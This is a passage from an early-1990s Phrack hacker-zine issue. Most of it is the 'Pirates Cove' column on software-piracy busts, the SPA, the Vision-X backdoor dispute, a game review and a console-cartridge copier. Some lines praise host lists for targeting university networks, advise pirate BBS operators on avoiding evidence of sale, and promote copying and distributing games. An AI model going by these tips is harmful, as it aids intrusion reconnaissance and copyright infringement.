And there you have another way. Everything we looked at is here: IP number, the name, the "alias," the computer type, the operating system, and a brief list of network protocols it supports, including the domain server attribute. However, none of the other machines on the mcl.unisys.com network were displayed. The DoD isn't a complete list of network machines, only the network machines that are vital to the functioning of the Internet (in the last year, this list has grown from about 350K to 1.1 megabytes ‑‑ and this only reflects the "new" networks, not including the addition of new machines onto old networks; the Internet is definitely "in;" I believe it was estimated 25% growth per month!).

Obviously, this is very effective when going after university sites. It seems they have too many machines to take good care of security on. Essentially, the DoD list contains much the same information as NIC does, and is about a million times more discreet. I'm not sure if NIC is fully logged, but it does have a staff Head of Security (*snicker*).

Well, that will pretty much wrap it up for this file. Hope some of it was

Pirates Cove

==Phrack Inc.==

Volume Four, Issue Forty, File 5 of 14

Pirates Cove

By Rambone

Welcome back to Pirates Cove. My apologies for not providing you with this column in Phrack 39. However, in this issue we take a look at some recent busts of pirate boards and the organization most to blame for it all... the Software Publishers Association. Plus we have news and information about Vision‑X, game reviews, BAD Magazine, and more. Enjoy.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

FBI Raids Computer Pirate; SPA Follows With Civil Lawsuit June 11, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

BOSTON ‑‑ The Federal Bureau of Investigation raided [on June 10] "Davy Jones Locker," a computer bulletin board located in Millbury, Massachusetts, which has allegedly been illegally distributing copyrighted software programs.

The Davy Jones bulletin board was a sophisticated computer bulletin board with paying subscribers in 36 states and 11 foreign countries.

A computer bulletin board allows personal computer users to access a host computer by a modem‑equipped telephone to exchange information including messages, files, and computer programs. The system operator (or sysop) is generally responsible for materials posted to the bulletin board.

For a fee of $49 for three months or $99 for one year, subscribers to Davy Jones Locker were given access to a special section of the bulletin board that contained copies of more than 200 copyrighted programs including popular business and entertainment packages. Subscribers could "download" or receive these programs for use on their own computers without having to pay the copyright owner anything for them.

The business programs offered were from a variety of well‑known software companies, including: AutoDesk, Borland International, Broderbund, Central Point System, Clarion Software, Fifth Generation, Fox Software, IBM, Intuit, Lotus Development, Micrografx, Microsoft, Software Publishing Corp., Symantec, Ventura Software, WordPerfect and X‑Tree Co. Entertainment programs included Flight Simulator by Microsoft, and Leisure Suit Larry by Sierra.

Seized in the raid on Davy Jones Locker were computers, telecommunications equipment, as well as financial and other records.

"The SPA applauds the FBI's action today," said Ilene Rosenthal, director of litigation for the Software Publishers Association (SPA). "This is one of the first instances that we are aware of where the FBI has shut down a pirate bulletin board for distributing copyrighted software. It clearly demonstrates a trend that the government is recognizing the seriousness of software copyright violation. It is also significant that this week the Senate passed S.893, a bill that would make the illegal distribution of copyrighted software a felony."

For the past four months, the Software Publishers Association has been investigating the Davy Jones Locker bulletin board and had downloaded business and entertainment programs from the board. The programs obtained from Davy Jones Locker were then cross‑checked against the original copyrighted materials. In all cases, they were found to be identical.

Subscribers to Davy Jones Locker not only downloaded copyrighted software, but were also encouraged to contribute additional copyrighted programs to the bulletin board.

The system operator limited subscribers to four hours on the bulletin board each day. He also limited the amount of software a subscriber could download to his or her own computer each day. Those who "uploaded" or transmitted new copyrighted software to the bulletin board for further illegal distribution were rewarded with credits good for additional on‑line time or for additional software.

"Imagine a video store that charges you a membership fee and then lets you make illegal duplicates of copyrighted movies onto blank video tapes," explains Ilene Rosenthal, SPA director of litigation. "But it limits the number of movies you can copy unless you bring in new inventory ‑‑ copies of new movies not already on the shelves. That was the deal at Davy Jones Locker."

Davy Jones Locker was an international concern with paid subscribers in the United States and 11 foreign countries including Australia, Canada, Croatia, France, Germany, Iraq, Israel, Netherlands, Spain, Sweden and the United Kingdom.

Whether it's copied from a program purchased at a neighborhood computer store or downloaded from a bulletin board thousands of miles away, pirated software adds to the cost of computing. According to SPA, software pirates throughout the world steal between $10 and $12 billion of copyrighted software each year.

"Many people may not realize that software prices are higher, in part, to make up for losses to the pirates," says Ken Wasch, executive director of the SPA. "Pirate bulletin boards not only distribute business software, but also hurt the computer game publishers by distributing so many of their programs illegally. In addition they ruin the reputation of the hundreds of legitimate bulletin boards which serve an important function to computer users."

The Software Publishers Association is the principal trade association of the personal computer software industry. Its 900 members represent the leading publishers in the business, consumer and education software markets. The SPA has offices in Washington, D.C., and Paris La Defense, France.

CONTACT: Software Publishers Association, Washington, D.C. Terri Childs or Ilene Rosenthal, 202/452‑1600

________________________________________

PC Bulletin Board Hit by FBI Raid June 14, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Josh Hyatt (Boston Globe)(Chicago Tribune, Section 7, Page 3)

BOSTON ‑‑ In one of the first reported crackdowns of its kind, six FBI agents raided a computer bulletin board based in a Millbury, Massachusetts, home last week. Authorities said the bulletin board's operator had been illegally distributing copyrighted software.

Executing a criminal search warrant, the agents seized several computers, six modems and a program called PC Board, which was used to run the bulletin board. Authorities also seized documents that listed users of the service.

No arrests were made, according to the Software Publisher's Association, a trade group that brought the case to the FBI's attention. The association estimates that, as of March, the bulletin board had distributed $675,000 worth of copyrighted software; software pirates, it says, annually steal as much as $12 billion this way.

The FBI will not comment on the case except to confirm that a raid had taken place and that the investigation is continuing. The alleged operator of the bulletin board, Richard Kenadek, could not be reached for comment.

Around the same time as the raid, the software association filed a civil lawsuit against Kenadek, charging him with violating copyright laws. Ilene Rosenthal, the group's director of litigation, said that "the man had incriminated himself" through various computerized messages.

"There's plenty of evidence to show that he was very aware of everything on his bulletin board," she said.

Bulletin boards let personal computer users access a host computer via modems. Typically, participants exchange information regarding everything from computer programs to tropical fish. They may also, for example, obtain upgrades of computer programs.

The association said its own four‑month investigation revealed that this bulletin board, called Davy Jones Locker, contained copies of more than 200 copyrighted programs.

Rosenthal said users also were encouraged to contribute copyrighted software programs for others to download or copy.

According to Rosenthal, subscribers paid a fee, $49 for three months or $99 for one year. She said Davy Jones Locker had nearly 400 paying subscribers in 36 states and 11 foreign countries.

________________________________________

Cracking Down On Computer Counterfeiters July 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By B.A. Nilsson (PC‑Computing Magazine)(Page 188)

Popular bonding rituals usually aren't criminal. Admire a friend's new car, and you're likely to swap a few stories and a can of STP. You may be invited to take the car for a spin. You can pass recipes back and forth or lend your copy of the latest best‑seller to a fellow fan.

Sharing computer programs is another common practice among friends. It's great to help someone who's daunted by the challenge of learning to use a new machine, and sometimes that includes a gift of some of your favorite software. "Here. Why don't you get started with WordPerfect?" And, later, inevitably, "The Norton Utilities will get that file back for you."

Copying a set of disks is so simple and such a private action that you'd hardly think it's also illegal. The legality part is easy to overlook. The copyright notice is a complicated critter, often printed on the seal of the software package that is torn away as you dig for those floppy disks. You may not even be the one who ripped the original package open (in which case, you're yet another who's ripped the program off).

But whether or not you're aware of it, unless you either broke the shrink‑wrap or received the package with all disks, documentation, and licensing information intact, you're breaking the law. The good news is that if you're an individual with pirated software on your home computer, you probably won't get caught. But if you're a boss with an angry employee, the Software Publishers Association (SPA) may get tipped off. When the SPA comes to call on your business, it's with U.S. marshals and lots of official paperwork. And the association has an annoyingly good history of winning its copyrightinfringement cases.

Perspectives on Piracy

"Computers give us a kind of technical sophistication that never used to exist," says Ken Wasch, the voluble head of the SPA. "In the old days, if you wanted to make your own copy of something like a pencil, you'd need a complicated manufacturing center. But the very fact that you can run a computer program means that you can make a flawless copy of it. This is the only industry in the world that empowers every customer to be a manufacturing subsidiary."

The regulations are spelled out again and again in the software manuals: You're allowed to make one or two copies of the program for backup purposes. Other rules vary slightly from company to company. Some license agreements demand that the software package be used only with a single machine; others, most notably Borland's, let you use the program on as many computers as you wish, provided no two copies of the program are run concurrently, just as a book can be read by only one person at a time.

"If all software developers took the same approach as Borland International, people wouldn't steal so much," says avowed pirate Ed Teach.

(Note: The names and locations of all interviewed pirates have been changed.)

"Borland gives you that book license. Of course, they'll drive you insane with upgrades. They wholesale the software, then make their money on all the subsequent releases."

Teach is the systems administrator for a residential health‑care company in the Southeast. "I believe in piracy," he says. "I like to borrow something to play with it. If I like it, I'll buy it."

He dismisses demos and limited versions of programs as inadequate for the testing he prefers; similarly, he considers the typical 30‑day return agreement too restrictive. "It's not a realistic time period for an evaluation," Teach says. "I just got a copy of FormTool Pro, and it's a powerful program with a very steep learning curve. I can't devote myself to it and learn what I'd need to know in 30 days."

Teach has spent six years recommending and configuring programs for his company. He does not fit the image of a lawbreaker, and he believes that what he does is morally justified. "I buy the software eventually. My company bought licenses to use WordPerfect 5.1 after starting with a pirated copy of the program. Everything on the company machines is legit."

Copying wasn't always so easy. Old‑timers remember the copy‑protection schemes that pervaded the computer industry, requiring key disks or special initialization procedures. But users unanimously demanded an end to it, and when Lotus, the last significant holdout, gave in, that era was over. Today you find protection only on games and niche‑market programs.

How much has the end of copy protection cost software companies? It's impossible to figure accurately. In August 1991, the indefatigable Software Publishers Association released figures on corporate‑use losses that suggest both a staggering financial loss and a possible decline in piracy. In 1987, 1.31 DOS‑based software programs were sold for every office computer. The expected proportion is three packages per computer, meaning that more than half of the programs in use were probably pirated. In 1990, the number of legitimate packages jumped to 1.78. But prices have gone up, too, so that the dollar losses haven't changed much: The 1987 liability was $2.3 billion, and the number rose to $2.4 billion in 1990.

The numbers for private‑use piracy, on the other hand, can't be calculated. If all the computer users who have never pirated software got together, they wouldn't need a very large hall. Wasch concedes that it's difficult to actually catch and prosecute the individual pirate. "Nobody is actually doing time for piracy," he says, citing the exception of a retailer who was caught running what amounted to a pirated‑software storefront.

The Software Police

Although the SPA is targeting home abuse in a current study, Wasch believes that the greatest financial losses are due to corporate piracy. And corporate pirates are easier to apprehend because an angry employee is frequently willing to turn in the boss. "We get about 20 calls a day," says Wasch, who set up a special number (800‑388‑7478) for reporting piracy. "Ninety percent of the calls we follow up on come from disgruntled employees."

It's the kind of visit most of us have only seen in the movies, and it's usually an unexpected one. A receptionist with one targeted company was so shocked by the arrival of the SPA posse that she asked if it was a "Candid Camera" stunt.

Founded in 1984 as an educational and promotional group, the SPA evolved into a software police force five years ago as more and more software vendors joined. Now almost 800 are in the fold. The SPA began to woo whistle‑blowers in earnest about two years ago, after a tip led to the successful bust of a large corporation in the Midwest.

"Business is too good," Wasch says. "We're doing far more lawsuits and far more audits than ever before, and the numbers are continuing to grow."

If your corporation is busted by the SPA, hope that it's done by mail. "What happens then is that we write the CEO a letter explaining that we want to do an audit," Wasch says. "If we find illegal software, the company pays twice: Once for the pirated copy, once for a new one.

"That's a lot better for the company. The fine is much lower, and they don't face the adverse publicity that results from a lawsuit. Still, 60 percent of them promise they won't destroy software before they report it, and then they go and do it anyway."

That was the case with a recent SPA visit to a medium‑size defense contractor in Washington, DC. "They agreed to an audit, and then they tried to wipe pirated programs off all the hard disks," Wasch says. "But we knew. Why do they think we called them in the first place? Someone on the inside was talking. I couldn't believe they'd sit there and lie to us about it, we had them over a barrel!"

The increasingly ominous specter of the SPA breaking down the door is making more companies go legit, but some continue to spout excuses. "I don't want to break the law, but I also don't want to go out of business," says Howell Davis, the CEO of an accounting firm in a New England capital. "We can't afford to work without computers, but I can't pay the high price of registering every copy of every program we use. I had to borrow a lot of money to get this business off the ground, and I think of this as just another form of borrowing. It's another loan I'll repay when I can afford to."

Some corporate pirates operate with a sense of entitlement.

"Nobody's going to catch us," says Charles Vane, the managing director of a nonprofit theater company in the Northwest, "and nobody should even be trying to. We're on the brink of bankruptcy. Companies should be giving us software packages as a gesture of support for the arts." He admits that almost all of the software his theater uses is pirated. "We have some nice programs, including an accounting package developed for Ernst & Young that we swiped and a copy of SuperCalc with a bunch of extra modules. And WordPerfect, of course," Vane says.

Where do the packages originate? "Our board members get them for us," Vane says. "Of course, that means we can't be choosy. We have to wait until a particular program comes our way. And what they like to give us the most are games. We have a kazillion games."

Games and piracy are natural partners. Games themselves encourage piracy. Unlike business‑oriented programs, they engender intense, short‑lived relationships. Or as pirate‑BBS operator John Rackam puts it, "Games get boring. That's why you see so many of them on the pirate boards."

Online Piracy

Rackam runs a BBS straight out of "The Man from U.N.C.L.E." It looks like any other medium‑size board in the country, with a standard collection of shareware and message bases. Gain special access which only takes $50 and a friend's recommendation and you pass through the secret door into a 600MB collection of the latest applications, including 10 zipped files of the complete dBASE IV, 11 of AutoCAD, and 6 of MS‑DOS 5.0.

"Most of the people who use my board are collectors," he says. "They have to have the latest copy of everything." Rackam isn't deterred by the threat of getting caught. "I don't think it's going to happen to me. I'm not doing anything that's really terrible. I mean, I'm not hacking up bodies or anything. I make no money off this. The fee is just for keeping up my equipment. I consider myself a librarian."

Novell takes a dim view of that attitude, as evidenced by an August 1991 raid of two California bulletin board systems accused of distributing Novell NetWare files. Such systems are another target the SPA would like to hit, and Wasch is looking for FBI cooperation.

That makes the Humble Guys Network ripe for the picking. Study the highresolution GIF file of these buccaneers, and you see a collection of ordinarylooking folks who happen to traffic in pirated game software. The founder, a hacker who called himself Candy Man, has since skipped the country; now The Slave Lord, a student at a southern college, is at the helm.

"The whole point of the network is to get games before the stores have them," says Bill Kidd, a computer consultant in Manhattan. "This is like proof of manhood, how fast you can get them." Kidd professes little personal involvement with piracy, but he knows where the bodies are buried.

"First there are the suppliers who can get a program from a manufacturer well before it's released," Kidd says. "Often the supplier works for the manufacturer. The game goes to the head person, who delivers it to the crackers. They're the ones who remove the copy protection. From there it goes to the couriers, and each has a list of pirate BBS's. The program then makes it all over the country in minutes."

Speed is an obsession. These pirates are armed with 9,600‑bit‑per‑second modems and a must‑have‑it‑now mentality. "The week before MS‑DOS 5.0 hit the stores," says Kidd, "most of the pirate boards had already deleted it because they had been offering beta versions six months before."

As far as revenues are concerned, pirate bulletin boards may be more of a nuisance than a threat. "Those people are never really going to buy that software," says John Richards, a product manager with Lotus. "Nominally, it's bad, but it's not as if they're buying one copy of 1‑2‑3 to put on the office workstation for ten users."

Pirates at Home

While an office environment allows for regular, rigorous audits, the home user gets away with pirating software. Peer under the hoods of a few hard disks, and you're liable to find something illicit.

"It can happen innocently enough," says Symantec's Rod Turner. As general manager of the Peter Norton Group, Turner has the distinction of overseeing one of the most frequently pirated pieces of software: The Norton Utilities. "Someone puts a copy of the software on someone else's machine to test it out and leaves it behind. The other user assumes it's there legitimately," Turner says.

"Often, someone gets software from a friend who got it at work," says Tony Geer, service manager at Computer Directions, a retail outlet in Albany, New York. Geer looks at hundreds of user‑configured hard disks every month. "Someone buys a machine from us, then turns around and calls us to say that he's got all this software now, could we tell him how to run it," Geer says. "What am I supposed to do? The customer wants me to spend hours on the phone teaching him or he gets mad. When I tell him he has to buy the program, too, he gets annoyed."

Geer also receives a huge number of requests for pirated software. "A lot of users think that we can load up their hard disks with programs, even though they know they ought to be paying for them and just want to duck the fee."

A few requests come from the truly naive, Geer says. "I'll get a call for software support and I'll ask, What did the manual say?' I didn't get a manual,' the person tells me. A friend gave this to me.' And then I have to explain that software isn't free."

High software prices are a common user complaint. Former WordPerfect executive vice president W.E."Pete" Peterson thinks the $495 list price of WordPerfect's best‑selling word processing program is justified, however. "WordPerfect sells about 150,000 copies a month at that price, so quite a few users think the price is justified, too," says Peterson. "A computer costs anywhere from a few hundred to a few thousand dollars. Without the software, the computer is worthless. WordPerfect goes to a lot of work to write and support the software."

The latter includes a costly policy of toll‑free phone support, handled by operators who would just as soon not ask for a registration number. It's an expensive way of showing trust, but it has paid off in excellent public relations.

"We try to sympathize with people," says Jeff Clark, public relations director at XyQuest, the company that publishes XyWrite, a word processing program popular among journalists. "We sell replacement manuals as a service to registered users, but there's a call at least once a week from someone who's obviously trying to get manuals to go with a pirated copy."

The challenge then is to educate the caller, who may not even know that a law has been broken. "All we ask of a registered user is to run the program on one machine at a time," Clark explains. "If you're using it at work, yes, you can use it at home. But don't buy one copy to use in an office of eight people."

"A lot of people seem to think copying disks is OK because it's easy to do," says Turner, who is also chairman of the SPA's companion organization, the Business Software Alliance, which fights international piracy. "Then they call our tech line, and we're in the delicate position of telling them they're using a product illegally."

Microsoft is even more benevolent. "We like to know where the pirated copy originated," says Bill Pope, associate general counsel for the company. "It's not always possible to learn over the phone who's pirating something, because we don't require that registration cards be returned. But if we do identify a pirated copy, we'll help the user get it legally, and we may even supply a free copy of the program if we can learn where it came from."

A highly publicized amnesty program was launched by the XTree Company in July of 1982. For $20, anyone with a pirated copy of an XTree program was allowed to buy a license for the entry‑level version of the program, thus getting access to the upgrade path. Response was enthusiastic during the 90‑day period, but the offer won't be repeated. "You can't offer amnesty over and over," says Michael Cahlin, who markets the XTree products. "You lose the respect of dealers and users who paid full price for it."

Turner is more blunt about it. "Amnesty encourages piracy. I don't think it's been successful."

While the SPA will continue to make headlines with Untouchables‑style raids of corporate offices, Wasch also acknowledges that education is the key to fighting piracy. A 12‑minute, SPA‑produced videotape entitled It's Just Not Worth the Risk spells out the message as a congenial corporate manager is made wise to the ways of the company pirate.

"That tape has been a huge success," says Wasch. "American Express bought 300 copies, and Kimberly‑Clark just ordered 100. We've distributed about 10,000 of them so far."

A self‑audit kit, also available from the SPA, includes a program that determines what software is in use on your PC as well as sample corporate memos and employee agreement forms to promote piracy awareness.

Seeing the Light

Fear of being caught keeps many people honest, but some pirates will wait until they're forced to walk the plank before giving up.

John Rackam says his BBS users are innocent. "They can't afford the software, and they shouldn't have to pay," he says. "They're downloaders. They un‑ARC it and say, This is nice!' Then they never use it again."

Charles Vane believes that software companies should give nonprofit organizations like his theater a break. "If they give us packages, we'll give them publicity. We'll print it in the program, we'll post it in the lobby. It's an upscale crowd that comes through here. We just don't have the luxury of money. I bought one program, ReportWriter, because it was cheap and good."

For casual users, piracy may simply be a phase. "I own 90 percent of the programs I use," says systems administrator Ed Teach. "That's a big reverse from about four years ago, when 90 percent of them were bootlegs."

And there's always the problem of well‑meaning friends. Henry Every, a journalist at a Florida newspaper, received pirated programs from friends when he bought his first computer five years ago.

"I had all these programs and no idea how to use them," Every says. "Fortunately, the bookstore had guides that were even better than the manuals, and I became something of a power user. Then I became the guy that a friend of a friend would call for help with his machine. Next thing I know, I'm the one giving away pirate copies.

"But I won't do it anymore. I'm sick and tired of getting those calls all hours of the day and night asking me how to use the damn things."

No Excuses Accepted

"When I'm sitting across the table from them and they're looking really dog‑faced, when I can see the whites of their eyes, it's hard to pull the trigger," says Ken Wasch, the head of the Software Publishers Association. "Nevertheless," he says, "I pull the trigger."

Wasch is not a tender man when it comes to dealing with software pirates. He has no patience for the typical excuses given by those who copy and use unlicensed software, and he offers the following responses to the common complaints he hears from the outlaws:

* The price is too high.

"Hey I don't own a Mercedes Benz. Why? The price is too high. If you can't afford it, don't use it."

* It's better to test the real thing than a crippled or demo version.

"The demos are normally very good. They limit the number of records, or they don't save to the disk, or something. It's enough."

* I'll pay for it later.

"I doubt it."

* I won't get caught.

Wasch laughs. When he does so, you can't help but hope that he's laughing with you, not at you. "Sooner or later . . ."

How Microsoft Foiled the Pirates

Imitation is flattering only when you don't lose money over it. Many software packages are copied by clever pirates who duplicate disks, manuals, even packaging. Microsoft has been hit often enough by counterfeiters that recent software releases, including the Windows 3.1 and MS‑DOS 5.0 upgrade packages, were specially designed to be bootleg‑proof.

"Every component part was carefully designed or hand‑picked for that reason," says Kristi Bankhead, who works with Microsoft's general counsel on piracy issues. "To the user, it should just look like an attractive box, but it allows us to tell at once if it's legitimate or not."

That strategy paid off in March when FBI agents raided a quartet of Silicon Valley companies that were pulling in up to $600,000 a month distributing bogus copies of MS‑DOS and Windows.

Key components of the official, bootleg‑proof box designs are colorful artwork and the use of holograms. On the MS‑DOS 5.0 upgrade box, a silver circle on the side offers an iridescent image of the logo. A second hologram, a small rectangle on the side of the program manual shows through an expensive die‑cut hole on the other side of the box. The interlocked letters D‑O‑S are printed in a four‑color process that results in complicated mixtures that defy reproduction. Even the way the box is folded and the flaps are glued and tucked is unique, it's not a common style, and counterfeiters must either spend time and money to copy it or risk quick discovery.

Even as the DOS upgrade package was being readied for market last year, police detectives uncovered a Los Angeles based pirate ring that was already working on full‑scale knockoffs of it. "We got them while they were in the process of completing the DOS 5.0 artwork," said Bankhead, "but we could tell how bad it would look. For instance, they were using a piece of foil for the hologram, and it had no three‑dimensional image."

Top 10 Pirate BBS Downloads

1. Windows 3.1 (Microsoft)

2. Excel 4.0 (Microsoft)

3. Norton Utilities 6.0 (Symantec)

4. WordPerfect for Windows 5.1 (WordPerfect)

5. Stacker 2.0 (Stac Electronics)

6. AutoMap (AutoMap)

7. Procomm Plus 2.0 (Datastorm Technologies)

8. PC Tools Deluxe 7.1 (Central Point Software)

9. QEMM‑386 6.0 (Quarterdeck Office Systems)

10. WordPerfect 5.1 (WordPerfect)

It looks familiar. It's very close to a recent Top 10 list of legitimate programs. That's not surprising, since popular programs are also the mostoften swiped.

The list above was compiled from a survey of pirate BBS's, with help from John Rackam. He explains that activity is so brisk the profile changes from week to week, with games being the most transitory items (which is why they're impossible to track). Because non‑disclosure doesn't exist in the pirate world and exchanging beta copies of software is a pirate tradition, Windows 3.1 won a strong position even before its official release. By the way, there's only a cursory interest in OS/2 2.0, which is ominous news for IBM if pirate interest is any barometer of sales.

________________________________________

Software Publishers Association: Nazis or Software Police?

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

An Investigative Report by Rambone

The Software Publishers Association (SPA) is the principal trade association of the microcomputer software industry. Founded in 1984 by 25 firms, the SPA now has more than 750 members, which include major businesses, consumer and education software companies, and smaller firms with annual revenues of less than $1 million. The SPA is committed to promoting the industry and protecting the interests of its membership.

The SPA has two membership categories: Full and Associate. Software firms that produce, release, develop or license microcomputer software and are principally responsible for the marketing and sales of that software are eligible to apply for full membership status. Firms that develop software, but do not publish are also eligible. Associate membership is open to firms that do not publish software, but provide services to software companies. These members include vendors, consultants, market research firms, distributors and hardware manufacturers.

Lobbying

The SPA provides industry representation before the U.S. Congress and the executive branch of government and keeps members up‑to‑date on events in Washington, D.C., that effect them. The fight against software piracy is among its top priorities. The SPA is the industry's primary defense against software copyright violators both in the United States and abroad. Litigation and an ongoing advertising campaign are ways in which the SPA strives to protect the copyrights of its members.

This is the impression that the SPA wants to give the general public, and for the most part, I have no problem with it. During a lengthy conversation with Terri Childs of SPA, I was informed of several things. The association's main source of information is from their hot‑line and the calls are usually from disgruntled employees just waiting to get back at their former bosses. An example of this is a company that had bought one copy of Microsoft Works, and with over 100 employees, they all seemed to be using the same copy. One particular secretary had gotten fired, for what reason I do not know, so she called the SPA police and spilled her beans. Once that happened the SPA got the balls rolling by instructing the Federal Marshals to get a warrant and storm the building like they own the place. With a nifty little program they have that searches the machines for illegal copies of the software, they came up with the programs not registered to that machine. *Bam!*, caught like a dead rat in a cage. The SPA declined to comment on what has happened to that company since the raid, but they did say the company would be fined "X" amount of dollars for each illegal copy.

Ms. Childs was very helpful though, she explained the idea behind the association, and what they stand for. I was very impressed with what she had to say. However, when I brought up the case concerning the Davy Jones Locker bust. She told me she was not qualified to answer questions involving that case and directed me to Elaine Rosenthat. So a few hours later I called her, and for a few brief moments she seemed to be quite helpful, but then decided to put me on a speaker phone with the founder of the "Association," Ken Wasch.

>From the start I knew I would not get a straight answer out of him. The first thing I asked him is if someone not in SPA obtained an account to get onto DJL, and then gave it to them with log captures from the BBS. He would not give me a straight answer, just that SPA was able to obtain the information. I then asked him what actions are being taken toward DJL and received another run around.

Finally, I asked what type of fine would be likely to be handed down in this case. He refused to give me an answer.

But I did learn one very interesting little fact from all of this. The money obtained by this incident and others like it do not go to the software companies who the SPA claims to be protecting. Instead it goes right into the coffers of the SPA itself! I guess they like to try those Mercedes.

And here is a few more interesting little tidbits about the SPA. Not only do they fine the companies for having illegal software and then pocket the money, but the annual charge for membership on the software companies can range anywhere from $700 to $100,000! It seems to me that it is much more profitable to eradicate piracy than to participate in doing it.

For those of you currently operating or considering operating a pirate bulletin board, I would suggest that you not charge your users for access. Even if you claim that the money is only for hardware upgrades, in the long run, if you get busted, the money you collected will be evidence that suggests you were selling copyrighted software for financial gain.

________________________________________

Vision‑X Backdoor Nightmare

~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Rambone

There seems to be a fallacy in the pirate world that all BBS software is untouchable. However, about a month ago a few people associated with the Oblivion team took apart .93 (a version number of Vision‑X) and found backdoors. The unfortunate problem with this is that the V‑X team put those backdoors in so they could trace down which Beta site was giving out Beta copies. Well, they found the backdoors and called up several boards and used them.

1. The story from the people who hacked the boards is this, one of the two involved was irate becuase he wrote a registration for .93 so anyone could run it, whether they paid for the software or not. When the V‑X team found out about it, they blacklisted him from being able to logon into any V‑X system. This was done hard‑coded, so no sysop could let him in with that handle. Anyway, the story is they got into several of the BBSes, and even dropped to DOS to look around, but did not have any intentions on destroying data. Basically, they wanted to expose the weaknesses of the software. The problem started when they posted the backdoors on a national net, which means that now any lamer could use this backdoor for their own purpose. According to the Oblivion guys, they did not destroy the data, but some of the lamers that saw the backdoors on the net did. They regret posting the backdoors. They didn't realize that there are some people who are malicious enough to destroy data.

2. The Vision‑X team are positive that the people who did take down the BBSes were the Oblivion team, some say they even admitted to doing it. There is a major paradox in these stories, and at this point it doesn't look like anyone will ever be able to get the entire truth about what had happened.

Backdoors have never been a good idea, even if the authors are positive they will never be found. The recent barrage of system crashing prove that the backdoors will indeed be found eventually. On the flip side of the coin, even if backdoors in BBS software are found, they should be left alone to be used for their original intent. Most authors who put the backdoors into the systems do it to protect their investment and hardwork. Most BBS programers these days work on the software for the benefit of the modem community, and expect a little money in return for their hard work. It is wrong for sysops to use it without permission. You guys need to stop being cheap asses, and support a software you want support from. What is the point of running a cracked piece of software since you cannot get support from the authors and not get the net they are involved in. The nominal amount of money involved is a good investment in the future of your bbs.

________________________________________

"BAD" Magazine Lives Up To Its Name

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Rambone

I had never read Bad Magazine until recently. Everywhere discussion about it had erupted, all I saw were comments that it was a waste of harddrive space. However, when Bad's eighth issue surfaced, I heard that there were a few disparaging remarks made about me and a spew of other loose information.

So I went ahead and took a look at it, and what I found was one lie after another. I have never seen a magazine so full of shit as BAD #8. Apparently they seemed to think I mentioned them in Phrack magazine, "Bad Magazine got their first mention in the magazine Phrack." The funny thing is, the only mention of BAD Magazine ever to appear in Phrack before now was a remark attributed to The Grim Reaper that I reprinted.

I could care less about a pathetically lame magazine such as BAD and I never mentioned them and never intended on mentioning them until they raised the issue by taking a pot shot at me.

"The Boys of Phrack however did not do their homework when mentioning this though." This is a quote from BAD regarding comments made about Vision‑X, which the article was not even about. What they don't know is that I personally called The Grim Reaper and talked to him before putting anything in Phrack about his bust. That's what the point of the article was about, not about some lame magazine named BAD and what they did. They deemed me responsible for not backing up my facts, when in fact, I backed them all up. Grim Reaper's comments about Vision‑X was not my concern, it was his bust for credit card abuse that I was interested in learning about. The remarks concerning BAD were made by TGR, so it would appear that "the boys at BAD" did not do THEIR homework!

"Rambone obviously does not get much exposure to the pirate world." Yet another ridiculous and unsubstantiated remark.. You boys definitly did not do your homework, you better start asking around a little more before making irresponsable accusations. The last words I will say about this is when people put a magazine together, they should try and find writers who will investigate facts instead of fabricating them. If they actually read my article, they would have known that I did not say a word about their magazine, but rather quoted The Grim Reaper. With writers such as those at BAD, I would not suggest anyone waste their time reading it, unless you are into tabloids like National Inquirer, but then at least some of their articles have a basis in fact.

________________________________________

Games

~~~~~

Game Of The Month : Links 386 Pro

: ‑*‑ Release Information ‑*‑ : ‑*‑ Game Information ‑*‑ :

: Cracker None : Publisher MICROPLAY : : Protection Type None : Graphics SVGA Minimum : : Supplier The Witch King : Sound All : : Date of Release 07/13/92 : Rating [1‑10] 10 :

Sorry guys for reprinting the information file, but I got lazy <g>.

With the advent of the Super VGA Monitors, and the prices becoming more resonable, companies are starting to come out with special games to take advantage of SVGA mode. Most of these games still will play in VGA mode so don't fret.

One of the latest to date, and probably the best is Links 386 Pro, which the title indicates, at least a 386 is required. The installation of the game is one of the most impressive I have ever seen, they cover every aspect of your hardware to take full advantage of it. One of the harder things to swallow is that you must have at least 512k of memory on your VGA card, and it must comply by the VESA standard. If it does, the instalation is smart enough to try and find one for you.

The game it's self is a major improvement over it's predecessor, Links. The graphics are much improved, which was a feat in itself, and many more options and bugs had been taken care of. The company also listened to its customers and added many new features that were suggested.

When first loading up 386 pro, you are greated by a backview of a course instead of the boring blank screen in the original. From there, you can just about set up anything under the moon, from your club selection, to fairway conditions, and techture of the greens. You can even select the wind conditions. One of the most impressive features besides the outstanding grahpics is the option to have multiple windows open while playing the game.

Let's say you are at the first hole, about to drive one down the fairway, if you can make it there, you can also have another window up overlooking the fairway waiting to see where the ball is going to drop. This is just one of many windows you can open, four at the most. After playing it for quite sometime, I would only suggest one or two though.

If you are contiplating buying a game to take advantage of your SVGA monitor, look no further than Links 386 Pro. It's the wave of the future, and it's here now.

________________________________________

No Longer Buy Console, Copy Them

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Special Thanks Snow Dog

The following is an information excerpt on the GameDoctor. Basically, you can buy a machine called the GameDoctor hook it up to your PC and copy the rom data over to your HD in a compresed format. From there, you can send it over the nets, through the modem, or bring it to a friend's house. You hook the GameDoctor up to your PC, hook your console game to the GameDoctor and transfer the compressed data file onto a blank cartridge. Wow, instant Super Mario brothers. There will be a more in‑depth review of this machine in the next issue, for now, here's a little taste.

Snow Dog writes:

The machines are external SCSI interface machines, about the size of a super NES but wider, and fitted for japanese (super famicom) cartridges. They are made by electronics nippon, known as NEC in the States, and friend has one that works on both his Amiga 2000 and his 486‑33 (SCSI is universal).

They include five disks of Famicom OS, which you can use on a logical harddisk partition of around six megs since SNES games are measured in MegaBITS and will NEVER get bigger than four meg or so, but the OS needs room. Controllers et. al. plug into the copier units.

